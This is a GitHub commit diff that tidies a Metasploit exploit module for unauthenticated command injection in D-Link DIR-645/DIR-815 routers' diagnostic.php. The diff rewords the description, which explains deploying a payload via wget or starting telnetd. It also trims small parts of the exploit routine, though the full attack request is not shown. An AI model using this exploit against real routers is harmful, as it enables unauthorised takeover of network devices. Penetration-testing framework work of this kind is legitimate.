Skip to content

Commit 4f2e3f0

Browse files
author
jvazquez-r7
committed
final cleanup for dlink_diagnostic_exec_noauth
1 parent 8fbade4 commit 4f2e3f0

File tree

1 file changed

+14
-16
lines changed

1 file changed

+14
-16
lines changed

modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb

Lines changed: 14 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -19,17 +19,18 @@ def initialize(info = {})
1919
super(update_info(info,
2020
'Name' => 'DLink DIR-645 / DIR-815 diagnostic.php Command Execution',
2121
'Description' => %q{
22-
Some DLink Routers are vulnerable to OS Command injection.
23-
On DIR-645 versions prior 1.03 you will NOT need credentials to the webinterface.
24-
On DIR-645 version 1.03 you will need to login before executing commands. Fixed
25-
with version 1.04.
26-
There are different other DLink products also affected from this vulnerability.
27-
DIR-300 rev B, DIR-600 are some examples of it. Not every device includes wget
28-
which we need for deploying our payload. On such devices you could use the
29-
cmd generic payload and try to start telnetd or execute other commands.
30-
Since it is a blind os command injection vulnerability, there is no output
31-
for the executed command when using the cmd generic payload. A ping command
32-
against a controlled system could be used for testing purposes.
22+
Some DLink Routers are vulnerable to OS Command injection in the web interface.
23+
On DIR-645 versions prior 1.03 authentication isn't needed to exploit it. On
24+
version 1.03 authentication is needed in order to trigger the vulnerability, which
25+
has been fixed definitely on version 1.04. Other DLink products, like DIR-300 rev B
26+
and DIR-600, are also affected by this vulnerability. Not every device includes
27+
wget which we need for deploying our payload. On such devices you could use the cmd
28+
generic payload and try to start telnetd or execute other commands. Since it is a
29+
blind os command injection vulnerability, there is no output for the executed
30+
command when using the cmd generic payload. A ping command against a controlled
31+
system could be used for testing purposes. This module has been tested successfully
32+
on DIR-645 prior to 1.03, where authentication isn't needed in order to exploit the
33+
vulnerability.
3334
},
3435
'Author' =>
3536
[
@@ -66,7 +67,7 @@ def initialize(info = {})
6667
}
6768
],
6869
],
69-
'DefaultTarget' => 1,
70+
'DefaultTarget' => 1
7071
))
7172

7273
register_options(
@@ -97,8 +98,6 @@ def request(cmd,uri)
9798
def exploit
9899
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
99100
uri = '/diagnostic.php'
100-
rhost = datastore['RHOST']
101-
rport = datastore['RPORT']
102101

103102
if target.name =~ /CMD/
104103
if not (datastore['CMD'])
@@ -108,9 +107,8 @@ def exploit
108107
res = request(cmd,uri)
109108
if (!res)
110109
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
111-
else
112-
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
113110
end
111+
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
114112
return
115113
end
116114

0 commit comments

Comments
 (0)